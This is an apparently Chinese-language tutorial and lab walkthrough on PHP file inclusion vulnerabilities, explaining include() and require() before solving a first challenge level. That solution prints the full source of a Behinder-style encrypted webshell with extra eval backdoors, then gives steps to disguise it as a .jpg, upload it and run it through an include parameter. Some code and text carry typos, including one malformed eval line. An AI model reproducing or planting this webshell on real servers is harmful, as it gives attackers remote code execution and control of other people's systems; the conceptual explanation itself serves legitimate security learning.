一、什么是文件包含漏洞
1.文件包含漏洞概述
和SQL注入等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質就是輸入一段用戶能夠控制的腳本或者代碼,并讓服務端執行。 什么叫包含呢?以PHP為例,我們常常把可重復使用的函數寫入到單個文件中,在使用該函數時,直接調用此文件,而無需再次編寫函數,這一過程叫做包含。有時候由于網站功能需求,會讓前端用戶選擇要包含的文件,而開發人員又沒有對要包含的文件進行安全考慮,就導致攻擊者可以通過修改文件的位置來讓后臺執行任意文件,從而導致文件包含漏洞。在通過PHP的相應函數(比如imnclude0)引入文件時,由于傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。以PHP為例,常用的文件包含函數有以下四種
include(),require(),include_once(),require_once()
區別如下:require():找不到被包含的文件會產生致命錯誤,并停止腳本運行
include():找不到被包含的文件只會產生警告,腳本繼續執行
require_once()與require()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
include_once()與include()類似:唯一的區別是如果該文件的代碼已經被包含,則不會再次包含
第一關:
這關很簡單 要么在瀏覽器設置里面禁用js前端?
要么把寫好的pgp代碼修改為.jpg .png這些圖片后綴即可
冰蝎為例:
創建一個shell.php
php代碼如下
<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);@eval($_POST['a']);@eval($_POST('Alan'));
?>
然后把他改為你好.jpg
找到上傳點
上傳即可
然后復制URL鏈接
127.0.0.1/inculde.php?filename=你好.jpg
彈出此窗口成功